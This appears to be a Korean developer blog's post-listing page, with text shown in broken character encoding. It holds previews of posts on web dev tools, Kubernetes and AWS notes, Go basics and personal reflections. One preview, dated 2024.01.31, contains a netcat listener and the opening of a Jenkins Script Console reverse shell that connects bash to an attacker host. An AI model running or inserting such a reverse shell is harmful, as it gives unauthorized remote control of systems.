๐ 1๋ถ์ง์
2024.02.18
https://news.hada.io/topic?id=13418 ํ์คํ ์น์ฑ์ ํ๋ฃจ๋ง์ ๋ง๋ค์ด์ฃผ๋ ํด๋ค | GeekNews Rails์ ์ฒ ํ์ ๋ด์ ํ์คํ JS ํด๋คKirimaseWaspGPT๋ฅผ ํ์ฉํ ํ์คํ ์ฑ๊ฐ๋ฐ3. GPT Engineer4. GPT PilotUI ์์ฑ ํด๋ค5. v0.dev6. openv07. screenshot-to-code8. Builder.io news.hada.io
๐ 1๋ถ์ง์
2024.02.18
'๊ทธ๊ฒ์ ์ด๋ฃจ์ด์ง ์ ์๋ค'๊ณ ๋งํ์ง ๋ง๋ผ. ํน์ ์ฑ๊ณตํ๋ ๋ค๋ฅธ์ฌ๋์ด ๊ฐ์ง๊ณ ์๋ ๊ทธ ๋ฌด์ธ๊ฐ๊ฐ ๋น์ ์๊ฒ๋ ์๋ค๊ณ ์๊ฐํ์ง ๋ง๋ผ. ๋ง์ฝ ๋น์ ๊ณผ ์ฑ๊ณตํ๋ ์ฌ๋์ '์ฐจ์ด์ '์ด ์๋ค๋ฉด ์ฑ๊ณตํ๋ ์ฌ๋๋ค์ ์ด๋ง์ด ๋น์ ์ ๊ทธ๊ฒ๋ณด๋ค ๋ ์ด์ ์ ์ด๊ณ ๋ ํฌ๋ค๋ ๊ฒ๋ฟ์ด๋ค. ๋ํด๋ ์จ ํ ์ฑ๊ณต์ ๋ฒ์น 6์ฅ ์์ ๋ ฅ, ์ํฉ์ ํต์ ํ๋ ํ
๐ 1๋ถ์ง์
2024.02.17
์ธ๊ณ์ ๋ณต https://youtube.com/shorts/tUCg-2qOJVY?si=d30zoOSTlHW_Rli3
๐ 1๋ถ์ง์
2024.02.17
๋๋ ์๊ฐํ๋ค. ์ฒฉ๋ณด๊ฐ ๋ชจ์ฌ ์ ๋ณด๊ฐ๋๋ค ์ ๋ณด๊ฐ ๋ชจ์ฌ ์ ๋ต์ด๋๋ค ์ ๋ต์ด ๋ชจ์ฌ ์ ์ฑ
์ด ๋๋ค ์ ์ฑ
์ด ๋ชจ์ฌ ํ์์ด ๋๋ค ํ์์ด ๋ชจ์ฌ ๋์ธ๊ฐ ๋๋ค ๋์ธ๊ฐ ๋ชจ์ฌ ์ฒฉ๋ณด๊ฐ ๋๋ค ์ฒ์๋ถํฐ ์ํ๊ฑฐ๋ ํฐ ๊ฒ์ ๋ง๋ค ํ์๊ฐ ์๋ค. ๊ทธ ๊ฒ๋ค์ด๋ชจ์ฌ ๋ค๋ฅธ ๊ฒ์ผ๋ก ์ ํ์ด ๋๋ฉฐ ๋ฐ๋ณต์ ์ํ์ด ๋๊ธฐ ๋๋ฌธ์ด๋ค. ๋ธ๋ก๊ทธ๋ฅผ ์ด์ํ์ง 8๋
์ด ๋์๋ค ๋น์์๋ ๋ฆ์๋ค๊ณ ์๊ฐํ์ง๋ง ๊พธ์คํํ๋ ์ฒฉ๋ณด๊ฐ ๋ชจ์ฌ ์ ๋ณด๊ฐ๋๊ณ ์ด ์ ๋ณด๋ฅผ ๊ฐ์ง๊ณ ์ฑ
๋ ์ฐ๊ฒ ๋์์ผ๋ฉฐ ์ด ์ ๋ณด๋ฅผ ํตํ์ฌ ์ ๋ต์ ์ธ์ ์๋ก์ด ๋์ ์ผ๋ก ๋์๊ฐ ์ ์๊ฒ ๋์๋ค.
๐ 1๋ถ์ง์
2024.02.17
https://techicons.dev/ SVG and PNG tech icons | TechIcons SVG and PNG tech icons Download, copy and paste tech icons in SVG and PNG format for your projects. techicons.dev
๐ 1๋ถ์ง์
2024.02.16
์ฑ์ฅํ๋ ๊ฒ์ ๋ชจ๋์ฑ์ ์๋ ๊ฒ๊ณผ ๊ฐ๋ค. ์ฒ์ ๋ง๋๋ ๋ชจ๋์ฑ์ ํํธ์๋ค. ํํธ์๋ ๋ชจ๋์ฑ์ ๋ชจ๋๋ฅผ ์์ผ๋ฉด ๋ ํํธ์์ด ์ง ๋ฟ์ด๋ค. ๊ทธ๋ฌ๋ ๋ชจ๋์ฑ์ ๋ถ์๊ณ ๋ค์ ๋ชจ๋์ฑ์ ์์ผ๋ฉด ์ด์ ๋ณด๋ค ๋ ๋์ ๋ชจ๋์ฑ์ด ๋ง๋ค์ด ์ง๋ค. ์ด์ ์ ๊ฒฐ์ ์ ์ ๊ฑฐํ ์ฑ๋ก ์์์ฌ๋ ค์ง ๋ชจ๋์ฑ์ ๊ฒฌ๊ณ ํ๊ณ ํํ๋ฅผ ์ก์๊ฐ๊ฒ ๋๋ค. ํํธ์๋ ๋ชจ๋์ฑ์ ๋ชจ๋๋ฅผ ์์ง๋ง๊ณ ํ๋ฌผ๊ณ ๋ค์ ์ง์. https://brunch.co.kr/@qaing/3 ์ด๊ธฐ ์ฐฝ์
์/์คํํธ์
PM์ด ๊ผญ ์ฝ์ด๋ด์ผ ํ ์ฑ
์ถ์ฒ ์๋
ํ์ธ์ ํํ์์ PO์
๋๋ค! ์ ํฌ ํํ์์์ 0์์๋ถํฐ ์์ํด ์ฐจ๊ทผ์ฐจ๊ทผ ์์ ๋๊ฐ๋ฉฐ QAing์ด๋ผ๋ ํ๋ก๋ํธ๋ฅผ ๋ง๋ค์ด ๊ฐ๊ณ ์๋ ์ด๊ธฐ ํ๋ก๋ํธ ํ์ด์์. ํนํ PO๋ก์ '์์ด๋์ด'๋ฅผ ํ๋์ ์ค brunch.co.kr
๐ 1๋ถ์ง์
2024.02.15
๊ฒฝ๋ ฅ์ ๋ํ ๊ณ ๋ฏผ ๊ทธ๋ฆฌ๊ณ ๋ฒ์์ ๋ฑ ๊ณต๊ฐ๊ฐ๋ ๊ธ์ด์์ด์ ๊ณต์ ๋๋ฆฝ๋๋ค. ์ฌ๋ฌ๋ถ์ ์ง๊ธ ์์ ์ด ์ํ ์ ์๊ณ , ์ธ์์ด ํ์๋ก ํ๋ฉฐ, ์์ ์ด ์ฆ๊ธธ ์ ์๋ ๋ถ์ผ์์ ์ด์ฌํ ์ผํ๊ณ ๊ณ์ ๊ฐ์? ํน์ ๊ทธ๊ฒ์ ์ํด ์ํ์ ๊ฐ์ํ๊ณ ๊ณ์ ๊ฐ์? ์ ์์ ์ง๋ฌธ ๋ฌผ๊ฒฝ๋ ฅ์ ๊ฑฑ์ ํ๋ ์ง์ฅ์ธ๋ค์๊ฒ ๊ฑด๋ค๋ ์ ์ฌํธ๋ง์ ์กฐ์ธ - ํธ์ด ๋๋ง์ ๋ถ์ผ์์ ์ฑ์ฅํ๋ฉฐ ์ปค๋ฆฌ์ด ์๊ธฐ | ์ธ์ฌ์ดํธ blog.hoy.im ๋ด๊ฐ๊ฐ๋ ์ด ๊ธธ์ด ์ ์ผ ๋์ ์ฐ์ธ๊ฐ? ์ด์งธ์ ์ผ๋ง์๊ณ ๋๋ํ ์ฌ๋๋ค ์ค ๋๋ค์๊ฐ ์์ ์ด ์ฅ๊ธฐ์ ์ผ๋ก ์ผ๋ง์ด๋ ๋น์ ์ ์ง๋์ง ์์ ์
๊ณ(์๋ชป๋ ์ธ๋, wrong hill)์ ๋จ์ ์๊ฐ์ ๋ญ๋นํ๋๊ฐ? [๋ฒ์ญ] ์๋ชป๋ ์ธ๋ ์ค๋ฅด๊ธฐ(Climbing the wrong hill) ์ง๋ ์ฃผ ๋ค๋ค๋ ํฌ๋ฆฌ์ค ๋์จ์ ๋ธ๋ก๊ทธ์์ ํฅ๋ฏธ๋ก์ด ๋ด์ฉ์ ๊ธ์ ์ฐพ์..
Next.js
2024.02.07
์์ ํฌ์ธํธ๋ 2๊ฐ์ด๋ค. credentials์ type์ ๋ช
์, ๋ก๊ทธ์ธ ์ฑ๊ณตํ๊ณ return ๋๋ user ๊ฐ์ any๋ก ๋ฐํ import bcrypt from "bcrypt"; import NextAuth, { AuthOptions } from "next-auth"; import CredentialsProvider from "next-auth/providers/credentials"; import prismadb from "@/app/lib/prisma"; import { PrismaAdapter } from "@auth/prisma-adapter"; export const authOptions: AuthOptions = { providers: [ CredentialsProvider({ name: "..
๊ธฐํ์ ๋ณด
2024.02.03
Proxmox์ dns๋ฅผ ๋ด๋ถ ์ปจํ
์ด๋๋ฅผ ๋ฐ๋ผ๋ณด๊ฒํ์ฌ 7์์ 8๋ก ๋์ด๊ฐ๋ ์
๋ฐ์ดํธ ๋ฌด๊ฒฐ์ฑ์ด ๊นจ์ก์๋ค. ์ด์์ค ์ปจํ
์ด๋๋ค์ ์ ๋์ํ๊ณ ์์๊ณ ์น์๋ฒ๋ง ๋ค์ด์ด ๋์ด์ ํด๊ฒฐ๋ฐฉ๋ฒ์ ์ฐพ๊ณ ์์๋ค. Setting up initramfs-tools (0.140) ... update-initramfs: deferring update (trigger activated) Processing triggers for initramfs-tools (0.140) ... update-initramfs: Generating /boot/initrd.img-5.13.19-6-pve /etc/initramfs/post-update.d//proxmox-boot-sync: 10: /usr/sbin/proxmox-boot-tool: not ..
๐ ์ ๋ณด๋ณด์ ๋ฉ์ผ๋ง ์์คํ
2024.02.02
๋ด์ฉ ์ ๋ณด๋ณด์ ๋ฉ์ผ๋ง ์์คํ
์ด ์
๋ฐ์ดํธ ๋์์ต๋๋ค. - FIX: UI/UX๋ฅผ ๊ฐ์ ํ์์ต๋๋ค. ๋ฐ๋ก๊ฐ๊ธฐ https://mailing.cyber-luna.com/ ์ ๋ณด๋ณด์ ๋ฉ์ผ๋ง ์์คํ
๋ฑ๋ก/ํด์ mailing.cyber-luna.com
๊ธฐํ์ ๋ณด
2024.02.02
์ฃผ๊ฑฐ ๋ชฉ์ ์ฉ ์ง์ ๋์ถํ์ฌ ๊ตฌ๋งคํ๋ ๊ฒ์ ์ง๊ตฌ์์ ์ด์ ๋ง ์์์ฌ๋ ค์ง ๋ก์ผ์ ๋ฌด๊ฑฐ์ด ์ถ๋ฅผ ๋ค๋ ๊ฒ๊ณผ ๊ฐ๋ค. ์ฐ์ฃผ๊น์ง ์์์ง ๋ก์ผ์ ๋ฌด๊ฑฐ์ด ์ถ๋ฅผ ๋ฌ์๋ ์์ ๋๊ฐ ์ ์๋ค. ํ๋ ํฌ์ ๋ชฉ์ ์ฉ ์ง์ ๊ทธ๋ฆฌํ์ง ์๋ํ๋ค. ์ง๊ตฌ์์ ์ด์ ๋ง ์์์ฌ๋ ค์ง ๋ก์ผ์ ์์ง์ ํ๋ ๋ ๋ค๋ ๊ฒ๊ณผ ๊ฐ๋ค.
๊ธฐํ์ ๋ณด
2024.02.02
์์ฆ AWS์ ์๋น์ค๋ค์ ์ด์ฉํ๋ฉด์ ๋น์ฉ ๋ช
์ธ์๋ฅผ ๋ณด์๋ค. ๊ทธ ํญ๋ชฉ๋ค ์ค ํ๋ ๋์ ๋ค์ด์ค๋ ๊ฒ์ด ์์๋ค. ๊ทธ ๊ฒ์ ๋ฐ๋ก ๊ณต์ธ IPv4 ์ฌ์ฉ์ ๋ฐ๋ฅธ ๋น์ฉ ์ด์๋ค. AWS์์ IPv4๋ฅผ ์ฌ์ฉํ๋ฉด์ ๋น์ฉ์ ๊ฐํ๋ ๋ฐฉ๋ฒ์ ์๊ธฐ๊ฐ ์์ ํ IP๋ก ์ฐ๊ฒฐํ๋ BYOIP ๋ฟ์ผ๋ก ์๊ณ ์์ผ๋ฉฐ, ๊ธฐ์
์์๋ IDC ์ ์ฉํ์ ๋น์ฉ์ด ์๋ ๋น์ธ๊ธฐ์ AWS์์ ๋ฐ์ํ๋ Public IPv4 ๋น์ฉ์ ๊ณ ๋ ค์ฌํญ์ด ์๋๋ผ๋ ์๊ฒฌ์ด ์๋ค. ์ด๋ฌํ ๋น์ฉ ์ ์ฑ
์ด ๋ณ๊ฒฝ ๋ ๊ฒ์ด IPv4 ๊ณ ๊ฐ์ ์ํฅ์ด๋ผ๊ณ ํ๋ค. ์ด๋ฌํ ๊ณ ๊ฐ ์ฌํ๋ก ์ธํ์ฌ ์ ๊ท ์์ฅ์ ์ง์
๋๋ ์ ๊ท ์คํ ์๋น์ค๋ค์ ๋ํด์๋ IPv6๋ก ์ด์์ ํ ์ ๋ฐ์ ์๋ ์ํฉ์ ์ฒํ๋ ๊ฐ์ธ ๋๋ ๊ธฐ์
๋ค์ด ์๊ฒจ๋ ๊ฒ์ด๋ค. ์ด์ ๋๋น๋ฅผ ์ํ์ฌ ์๊ฐํด ๋ณธ๊ฒ์ ๋ค์๊ณผ ๊ฐ๋ค. (์ฌ์ฉ์)IPv6 ์๋น์ค..
๊ธฐํ์ ๋ณด
2024.01.31
๊ณต๊ฒฉ์ nc -lvp 8080 Jenkins Script Console(Agent Host) String host="192.168.0.53"; int port=8080; String cmd="bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so...
๐ํ๋ก๊ทธ๋๋ฐ
2024.01.29
Go๋ main ํจํค์ง ๋ด์ Entry Point์ธ main() ํจ์๋ฅผ ์ฐพ์ ํ๋ก๊ทธ๋จ์ ์คํํ๋ค. Go ์์๋ ํ ๋น๋๋ ๊ฐ์ ๋ณด๊ณ ๊ทธ ํ์
์ ์ถ๋ก ํ๋ ๊ธฐ๋ฅ์ด ์์ฃผ ์ฌ์ฉ๋๋ค. ์ฌ๋ฌ ๊ฐ์ ์์๋ค ๋ฌถ์ด์ ์ง์ ํ ์ ์๋๋ฐ, ์๋์ ๊ฐ์ด ๊ดํธ ์์ ์์๋ค์ ๋์ดํ์ฌ ์ฌ์ฉํ ์ ์๋ค const ( Visa = "Visa" Master = "MasterCard" Amex = "American Express" )
๊ธฐํ์ ๋ณด
2024.01.29
ํ์ค์์ฝ Saving Plan์ ๋ฑ๋ก ์ฆ์ EC2 ์ฌ์ฉ์ ๋ฌด์ ์๊ด์์ด ๋น์ฉ์ด ์ฒญ๊ตฌ๋๋ฉฐ ์์น์ ์ทจ์๋ ๋ถ๊ฐํ๋ค. Support์ ์ทจ์ ๋ฌธ์ ํ ๋ด๋ถ ํ๋ก์ธ์ค์ ๋ฐ๋ผ ์ทจ์๋ฐ์ ์ด์๋ด์ฉ Saving Plan ์ด๋? AWS Saving Plan ๊ตฌ๋
์ EC2๋ฅผ ์ฌ์ฉํ์ง ์์๋ ์ฝ์ ๋ ๊ธ์ก์ผ๋ก ์๊ฐ๋น ๋น์ฉ ๋ฐ์ ๋ฉ๋๋ค. ์ฌ๊ฑด๋ด์ฉ ์ ๋ 0.05$๋ก 1๋
์ฝ์ ์ Add Cartํ๋ ์ฆ์ ๊ณ์ฝ์ด ์ฒด๊ฒฐ๋ ๊ฒ์
๋๋ค. ๊ทธ ๋๋ถํฐ ์๊ฐ๋น ๋น์ฉ์ด ๋ฐ์ํฉ๋๋ค. ์ ๋ ์ธํฐ๋ท์ ์ฐพ์๋ดค์ง๋ง ๋ค๋ค ๋ฌ๊ตฌ๋ฆ ์ก๋ ์
์ฒด์ ๋น์ฉ ๊ณ์ฐ๋ฒ ๋ฑ ํ๊ธฐ๋ฅผ ์์ง ๋ชปํ์ฌ ๋ต๋ตํ์ต๋๋ค. ๊ทธ๋์ ๊ณต์ ๋๋ฆฝ๋๋ค. ์ ๋ ์ฒ์์ ๋๋ฌด ๋๋ผ์ ์ธํฐ๋ท์ ์ฐพ์๋ณด๋ ์ทจ์๊ฐ ์๋๋ค๋ ๊ฒ์ด์์ต๋๋ค. 1๋
์ 40๋ง์์ด ๊ผผ์ง์์ด ๋ ์๊ฐ๊ฒ ์๊ธด ๊ฒ ์
๋๋ค. ๊ทธ๋์ ์งํธ๋ผ๊ธฐ ์ก๋ ..
๊ธฐํ์ ๋ณด
2024.01.28
ํ๋กํ ํ์
ํ์์ ์ํํธ์จ์ด ์ํคํ
์ฒ๋ ๋ชจ๋๋ฆฌ์์ผ๋ก ๊ฐ๋ฐ์ํ์ฌ ํ
์คํธํ ๋ง์ดํฌ๋ก์ํํธ์จ์ด ์ํคํ
์ฒ๋ก์ ์ด์ ์ ํ์์ฑ์ ์์ฆ ๋๋ผ๊ณ ์๋ค. ๊ทธ ์ค ํ๋์ ๊ณผ์
์ ๋ด๊ฐ ์ด์ํ๋ ์๋น์ค์ ์ฟ ๋ฒ๋คํฐ์ค ์ด์ ์ด๋ค. ๋ํ ์์ ์ฑ๊ณผ ๋น์ฉ๋ ํฐ ๋ถ๋ถ์ ์ฐจ์งํ๋ค. ๋๊ณ ๊ฐ ์๋น์ค๋ฅผ ํด๋ผ์ฐ๋๋ก ํ ์ง IDC์ ์ฅ๋น๋ฅผ ๋ฃ์ด์ ๊ด๋ฆฌํ ์ง ๊ณ ๋ฏผ์ด๋ค. ํ์ ๋ ์์์ ํจ์จ์ ์ธ ๋ถ๋ฐฐ๊ฐ ์ ์ผ ๊ณ ๋ฏผ์ด๋ค. ์ค์ ์๋น์ค๋ฅผ ๋ง๋ค์ด๋ณด๊ณ ์ด์ํด๋ด์ผ๋ก์ ๊ฒฐ์ ํด๋๋ ๊ฒ๊ฐ๋ค. 1U ์๋ฒ๋ฅผ ๊ตฌ๋งคํด์ ์ฌ๋ฌด์ค์์ ์ด์ํ๋ค๊ฐ ์ฝ๋ก์ผ์ด์
์ ๋๊ธฐ๊ฑฐ๋ ํด์ผ๊ฒ ๋ค. ๊ฐ๋ฐ ๋ฐ ์ด์ ๋ง์ ๊ฐ๊ฐ ์ฌ๋ฌด์ค ๋ฐ ํด๋ผ์ฐ๋๋ก ์๊ฐํด๋ด์ผ๊ฒ ๋ค. ์ฟ ๋ฒ๋คํฐ์ค ํ๊ฒฝ์ผ๋ก ๊ฐ๊ฐ ๊ตฌ์ฑํด์ ํ๋ฉด ๋ ๋ฏ ํ๋ค. ์ด๋ ๊ฒ ๋๋ฉด ํ๊ฒฝ์ ๋ฐ๋ฅธ ์ธํ
์ด ๋ฌ๋ผ์ ธ ํ์ต๋น์ฉ์ด 2๋ฐฐ์ด์์ผ๋ก ์ฆ๊ฐํ๋ค. ํ์ง๋ง EKS๋ก ๊ตฌ์ฑ..
๊ธฐํ์ ๋ณด
2024.01.26
selector๋ก ๋ผ๋ฒจ์ ์ง์ ํ๋ฉด pv๋ฅผ ์๋์ผ๋ก ์ ํํ๋ ์ค ์์๋ค. ๋ง๊ทธ๋๋ก ๋ผ๋ฒจ๋ก ์ถ๊ฐ ํํฐ๋งํ๋ ๊ธฐ๋ฅ์ด๋ค. pvc ์์ volumeName์ผ๋ก pv๋ฅผ ์ฐ๊ฒฐํ๋ค. namespace ์์ ์ดํ๋ฆฌ์ผ์ด์
๊ณผ pvc๋ ๊ฐ์ด ์์ด์ผํ๋ฉฐ pv๋ ๋ค๋ฅธ namespace์ ์กด์ฌํด๋ ๋๋ค. apiVersion: v1 kind: PersistentVolume metadata: name: nfs-pv spec: storageClassName: "" capacity: storage: 128Gi accessModes: - ReadWriteMany nfs: server: 192.168.0.210 path: /data/nfs apiVersion: v1 kind: PersistentVolumeClaim metadata: name..
๊ธฐํ์ ๋ณด
2024.01.24
ํฌ๋ฆ์ฐจํธ ๊ตฌ์ฑ๋ ์ข
ํฉ rabbitmq๋ฅผ stateful ๊ธฐ๋ฐ์ผ๋ก ์์ฑํ์ฌ ๋ฐ์ดํฐ๊ฐ ์ ์ค๋์ง ์๋๋ก nfs ์๋ฒ์ ๋ง์ดํธํ์ฌ ๋ฐ์ดํฐ๋ฅผ ๊ด๋ฆฌํ๋ yaml ์
๋๋ค. ๋คํธ์ํฌ ์ ์๊ฒฐ๊ณผ ๊ตฌ์ฑํ์ผ statefulset.yaml apiVersion: apps/v1 kind: StatefulSet metadata: namespace: rabbit name: rabbitmq spec: replicas: 1 serviceName: rabbitmq selector: matchLabels: app: rabbitmq template: metadata: labels: app: rabbitmq spec: containers: - name: rabbitmq image: rabbitmq:3-management env: - name: ..
๊ธฐํ์ ๋ณด
2024.01.24
๊ฐ๋
Service๋ Pod์ ์ธ๋ถ์์ ์ ์ํ ์ ์๋๋ก ํ๋ ์ค๋ธ์ ํธ์ด๋ค. ํ๊ฒฝ๊ตฌ์ฑ deploy.yaml ๋ค์์ ์์ ์ ์ฌ์ฉ๋ nginx pod์ 3๊ฐ ์์ฑํ๋ deployment ํ์ผ์ด๋ค. ์ปจํ
์ด๋ ์์ฑ์ ํฌํจํ๋ฉฐ pod๊ฐ replicas์ ์ํด 3๊ฐ ์์ฑ๋๋ค. labes๋ผ๋ ๊ฒ์ ์ด์ฉํ์ฌ ์ฐ๊ด๊ด๊ณ ์์ฑํ๋ค. apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment namespace: my-web # ๋ค์์คํ์ด์ค ์ถ๊ฐ labels: app: nginx-deployment spec: replicas: 3 selector: matchLabels: app: nginx-pod template: metadata: labels: app: ngi..
๊ธฐํ์ ๋ณด
2024.01.23
๋์ ๋นจ๊ฐ pod๋ค ํผ์์ ์ฌ๊ธฐ๋์ ๋ฐ๋ณตํ๋ค. ์๋น์ค๊ฐ ์ด์๋ฌ๋ค ์ฃฝ์๋ค ํ๋ค. ๊ทธ ํด๊ฒฐ ๋ฐฉ๋ฒ์ ๋์คํฌ ์ฉ๋ ์ฆ์ค! ๋์ ๊ฒฝ์ฐ ์ต์ ์์ปค๋
ธ๋์ 32gb์์ 160gb๋ก ํ ๋นํด์ฃผ๋๊น ์ ์์ ์ผ๋ก ๋์์๋ค